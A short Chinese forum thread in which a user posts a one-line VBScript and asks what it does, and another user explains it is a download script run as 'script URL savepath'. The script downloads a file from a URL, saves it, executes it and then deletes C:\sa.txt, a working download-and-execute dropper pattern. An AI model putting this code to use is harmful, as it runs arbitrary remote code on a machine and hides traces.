标题: 求这段代码的作用 [打印本页]

---

作者: ccyyxxx     时间: 2010-7-28 09:45    标题: 求这段代码的作用

fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.ResponseBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"

---

作者: WANKOILZ     时间: 2010-7-28 19:47
这是个下载脚本，用法是：(cmd下)
脚本名.vbs 下载地址 保存路径